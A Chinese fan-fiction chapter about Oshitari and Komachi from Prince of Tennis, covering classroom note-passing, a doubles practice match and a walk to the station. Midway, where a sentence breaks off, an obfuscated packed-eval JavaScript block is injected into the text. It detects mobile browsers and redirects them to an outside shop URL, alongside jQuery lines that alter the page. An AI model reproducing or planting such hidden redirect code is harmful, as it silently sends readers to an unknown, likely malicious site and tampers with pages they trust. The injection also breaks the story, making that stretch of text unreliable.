星期一早晨,小町走进教室时,忍足正靠着窗台与向日说话。
向日手里拿着刚买来的面包,塑料包装拆了一半。忍足替他拿着纸盒牛奶,听见脚步声便抬起眼。
“早上好,千岛。”
小町停在过道旁。
“早上好,侑士君。”
向日嘴里的塑料袋掉了下来。
忍足也安静了一瞬,随即笑道:“周末限定还没有结束?”
“谁说是限定?”
“那我需要重新适应一下。”
忍足把牛奶放回向日桌上。
向日终于反应过来。
“你们周末到底——”
“早上好,小町。”
忍足越过他的话,叫得从容,眼里的笑意却比刚才深了一点。
周围已经有人朝这边看。藤崎抱着校刊资料站在前排,水野手里的讲义迟迟没有放进抽屉,佐仓则从书页上方露出一双眼睛。
小町点点头。
预备铃在这时响起。高桥老师拿着点名册走进教室,向日的问题只能停在嘴边。
小町回到座位,将书包挂好。藤崎立刻推过来一张便笺,上面只写了四个字。
【什么情况?】
小町拿起笔。
【周末约会。】
纸条被藤崎收回去。她看完以后猛地抬头,椅脚在地板上划出一声轻响。
高桥老师从点名册后望过来。
“藤崎?”
“没事,老师。”
她坐得笔直,手却摸到桌下,狠狠掐了一把水野的手臂。水野吃痛,转头瞪她,又在看见纸条内容后迅速忘记了计较。
佐仓把纸条接过去,读完,推了推眼镜。
她在最下面添了一行。
【忍足知道那是约会吗?】
小町回复。
【怎么可能不知道】
纸条绕了一圈又回来。
【抱歉我低估了他的理解能力。】
小町想了想。
【纯爱小说可不是白看的。】
藤崎趴到桌上,无声地抖了很久。
小町把便笺收进笔袋,翻开第一节课的教材。身后传来书页翻动的声音,过了一会儿,她的手机在桌肚里轻轻振了一下。
【高桥老师正在看你们。】
小町没有回头。
【侑士君听课很认真。】
【我在提醒同学。】
【谢谢。】
对面没再回复。
第一节课结束后,小町从座位旁经过。忍足正低头写作业,草稿纸旁放着手机,聊天界面还没有退出。
她俯身,在他耳边低声问:“你一直在看?”
忍足的笔尖停住。
“下午训练到几点?”
“五点半。”
“好。”
她只留下这一个字,转身回了座位。
向日从旁边探过头。
“她问时间干什么?”
忍足重新拿起笔。
“大概来看训练。”
“看网球?”
“看我。”
向日盯着他看了两秒。
“你现在是不是很爽?”
“有一点吧。”
忍足在练习册上写完一行答案,最后收笔收的很洒脱。
午后的网球场笼着一层薄云,太阳迟迟没有露面。
正选训练开始前,向日仍然没有放过早晨的话题。
“所以你们周末真的去约会了?”
“去了玻璃展。”
“然后呢?”
“吃了甜点,聊了一会天,就回去了啊。”
向日等了半天,见忍足已经开始缠护腕,终于急了。
“我问的不是行程!”
“你们现在是什么关系?”
忍足拉紧护腕,抬眼看他。
“同班同学。”
“哪个同班同学会直接叫你侑士君?”
“千岛。”
“她都改叫你名字了!”
“所以我也叫她小町。”
向日被他绕得头疼,转身朝宍户求助。
“你听懂了吗?”
宍户正在压腿,闻言头也没抬。
“他不想说,你问到明天也没用。”
“不是不想说。”忍足拿起球拍,“确实还没有其他关系。”
“那她为什么要来看你训练?”
“因为她在追我。”
他说得平静,嘴角却扬了起来。
向日张了张嘴。
凤刚从器材室回来,恰好听见最后一句,抱着球筐站在原地。
宍户终于抬头。
“你还挺敢说。”
“她自己承认的。”
忍足语气里的自得已经懒得遮掩。向日看了他一会儿,拿起毛巾扔过去。忍足偏过头,毛巾擦着他的肩膀落进长椅。
“笑得真让人生气。”
“抱歉,被漂亮女孩子追,保持严肃也很困难。”
“千岛到底看上你什么?”
“可能是眼光好。”
“忍足!”
迹部从球场另一侧走来,球拍搭在肩上,视线从忍足脸上扫过。
“聊够了?”
向日立即指着忍足:“迹部,他——”
“本大爷不负责解决他的感情问题。”
迹部走到训练席前,将对阵安排夹上记录板。
“双打抢七。忍足、向日对宍户、凤。”
忍足弯腰捡起毛巾。
迹部经过他身边时,淡淡开口:“侑士。”
“嗯?”
“今天可得好好表现啊。”
忍足抬起眼。
迹部已经走向裁判椅,只留下一个背影。
向日在旁边笑出了声。
“所有人都知道。”
“那岳人更应该认真一点。”忍足戴好眼镜,“输了会影响我的表现。”
“你先保证别拖我后腿!”
比赛开始时,小町还没有来。
前几分打得很快。凤的发球一贯沉重,向日两次抢到网前,都被宍户沿直线突破。忍足留在后场,接球的位置压得很深,几次把速度极快的来球削回中路,重新替向日抢出上网的时间。
比分来到三比三。
换边时,向日喝了半瓶水,朝围网外看了一眼。
“人呢?”
“谁?”
“还能有谁?”
“岳人这么期待?”
“我是怕你等一下心不在焉。”
忍足拧紧水瓶。
“先管好下一分。”
两人重新上场。
凤站到发球线后,抬手抛球。球拍击中网球,沉闷的声音压过周围的脚步。忍足侧身接发,回球沿斜线落向宍户反手。
宍户早已赶到,抽球直逼底线。
忍足向后退了半步。
就在他准备挥拍时,围网外响起一道女生的声音。
“侑士君。”
这一声隔着半片球场,算不上很响。
忍足仍然听见了。
小町站在围网后,弓道部的布袋还挂在肩上,头发已经重新放下来。她朝他抬了下手,便安静地站到一旁。
网球已经来到眼前。
忍足的球拍从身体后方挥出。原本应当落向中路的回球忽然改变方向,沿着边线向前滑去。宍户判断慢了一瞬,球已经落在身后。
四比三。
向日转过头。
“你故意的吧?”
忍足走回接发位置。
“什么?”
“刚才那一球。”
“拿分也有问题?”
“你平时会直接削回中路。”
“偶尔想换一种打法。”
忍足隔着球场看了小町一眼。
“观众难得来一次。”
向日露出牙疼似的表情,向上翻了一个白眼。
“啊你真的很烦。”
接下来的几分,凤逐渐加快发球节奏。
忍足的打法也跟着变了。他将回球压得很低,连续两次逼宍户从底线向前。宍户第三次启动时,他却在最后一刻放慢拍面,网球越过球网,轻轻落在发球线内。
宍户追到球前,已经来不及调整拍面。
五比三。
“打得这么花哨。”宍户重新站起来,“待会儿输了更难看。”
忍足转了一下球拍。
“所以暂时不准备输。”
第九分被拖得很长。
凤的重球将忍足逼到底线,宍户同时封住网前。向日几次试图切入,球路都被提前压住。忍足连续接回三拍,等凤的站位向左偏移,忽然把球送得极高。
宍户抬头判断落点。
向日已经从网前跃起。
他的身体在空中舒展开,扣杀重重落向右侧空当。
六比三。
“看见没有!”向日落地以后,立刻朝围网外喊,“这一分是我拿的!”
小町笑着朝他鼓掌。
忍足从后场走过来。
“岳人,赛点。”
“我知道。”
“知道还看场外?”
“你看了多少次,自己心里没数?!”
最后一分由凤发球。
忍足接发以后主动向前。凤的回球压向他脚边,他降低重心,球拍几乎贴着地面,将球挑过球网。宍户已经等在那里,截击干脆地落向边角。
忍足脚下一转,赶到落点。
这一次,他没有继续追求漂亮的角度。回球稳稳压向中路,向日从另一侧切入,一拍结束比赛。
七比三。
向日握着球拍走回休息席。
“最后一球怎么忽然老实了?”
“赢下来比较重要。”
“你还知道?”
忍足用毛巾擦了擦脸,重新看向围网外。
小町仍然站在那里。
迹部在记录板上写下比分,合上笔帽。
“第二分的回球太浅,第五分多走了一步。”
忍足摘下眼镜。
“至少赢了。”
“七比三也值得你满意?”
“今天够用了。”
迹部顺着他的目光看了一眼。
忍足重新戴好眼镜。
“部长似乎有什么意见?”
“本大爷只是第一次看见你把练习赛打得像展示会。”
“效果怎么样?”
“勉强能看。”
迹部将记录板交给桦地,转身安排下一组训练。
忍足仍站在原地。
向日拿毛巾甩了一下他的后背。
“勉强能看,听见了?”
“迹部的勉强通常要求很高。”
“少给自己加分。”
训练结束以后,向日抱着球筐走到忍足旁边。
小町还在围网外等。
冬天将近,天色落得很快。球场上方已经亮起照明灯,她站在白色的灯光边缘,低头回复着手机消息。
“她真的一直没走。”向日说。
“嗯。”
“你不过去?”
“球还没收完。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17842536|211672||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>“你平时有这么守规矩?”
忍足弯腰捡起一颗网球,随手抛进球筐。
“今天有。”
向日也捡起一颗。
“你喜欢她吧?”
忍足将滚到边线外的网球踩住。再抬脚时,球已经顺着鞋面弹到手里。
“看起来很明显?”
“你就差把‘有人来看我’写在脸上。”
向日抱着球筐跟上去。
“那你们为什么还没交往?”
“她还没有说喜欢我。”
“她都追到球场来了。”
“来看训练和告白差得有点远。”
“你自己不会先说?”
忍足轻轻笑了一声。
“现在追人的是她。”
这句话听起来十分愉快,向日却没有立刻接着骂他。
忍足把球拍收进包里,动作比平时慢了一些。
“千岛一旦想要什么,就会走得很快。”他说,“弓道、比赛,她大概从小就知道该怎么往前。”
“这不是挺好吗?”
“是很好。”
“那你还在想什么?”
忍足拉上网球包的拉链。
“我在想,她走到我面前以后,会不会忽然发现,沿途比终点有趣。”
向日皱起眉。
“什么意思?”
“没什么意思。”
“你又来了。”
“说得太清楚,会显得我没有自信。”
忍足笑得依然轻松。
向日却盯着他看了几秒。
“原来你也会担心这种事。”
“所以请替我保密。”
“才不要。”
“那明天不借你英语作业。”
“你什么时候借过!”
宍户从两人身后经过,听见最后几句,顺手把向日抱歪的球筐推正。
“真够麻烦的。”
“我也这么觉得。”向日说。
忍足背起网球包。
“谢谢提醒。”
他走出球场时,小町刚好收起手机。
“等很久了吗?”
“看完了你们收球。”
“那部分不太精彩。”
“向日君一直在骂你,还可以。”
忍足回头看了一眼。
向日站在球场入口,发现两人正在看自己,立即朝忍足挥了挥拳头。
小町问:“你对他做了什么?”
“进行了一段队友之间的友好交流。”
“结果呢?”
“交流失败。”
小町笑了一声,和他一起向校门走。
经过球场侧门时,几个一年级部员抱着器材从后面追上来。他们向忍足打过招呼,又好奇地看向小町。
其中一个胆子稍大的问:“忍足学长,她是女朋友吗?”
忍足微微偏头,望向小町。
他没有替她回答。
小町迎着几个人的视线,神情坦然地看着忍足。
“目前还不是。”
一年级们齐齐发出一声意味不明的“哦”,抱着器材迅速跑远。
忍足看着他们的背影。
“这下明天整个网球部都会知道。”
“知道什么?”
“有人正在追我。”
“你不高兴?”
“怎么会。”
忍足说得很快。
小町转头看他。
“侑士君看起来确实很高兴。”
“有人特意提前结束训练,重新整理头发,在围网外站了一个小时。”忍足抬手推了下眼镜,“不高兴会显得很失礼。”
他接得太自然,小町反倒慢了一步。
校门外的路灯依次亮起。忍足走在她身旁,唇边还留着一点笑,显然很满意终于让她没能立刻回嘴。
小町很快追上去。
“被我追是不是很有面子?”
忍足的脚步没有停。
“相当有。”
“承认得这么快?”
“今天全队都看见了,再谦虚有点虚伪。”
“那你准备怎么报答我?”
“明天继续打得好看一点?”
“我明天不一定来。”
“弓道部有训练?”
“嗯。”
忍足点点头。
走到车站入口,他才开口:“那我大概会多看几次围网。”
小町抬眼。
“为什么?”
“确认一下。”
“确认我有没有来?”
“也可能只是活动颈部。”
他答得一本正经。
小町看了他几秒,笑了。
“侑士君。”
“嗯?”
“你可以直接说想让我来。”
忍足靠在车站入口的栏杆旁。人流不断从他们身边经过,他看着小町,似乎真的思考了一会儿。
“想。”
这次没有玩笑。
短短一个字落下来,小町心口忽然轻了一下。
忍足很快又笑了。
“不过小町明天不来,我也会认真训练。”
“那当然。”
列车进站的广播从台阶下传来。
小町向站内走了两步,又回过头。
“明天见,侑士。”
忍足站在原处,身后还有学生陆续经过。
“明天见,小町。”
向日刚好赶来,听见最后一句,立即用手臂撞了忍足一下。
小町随着人群走下台阶,只听见忍足笑着让他看路。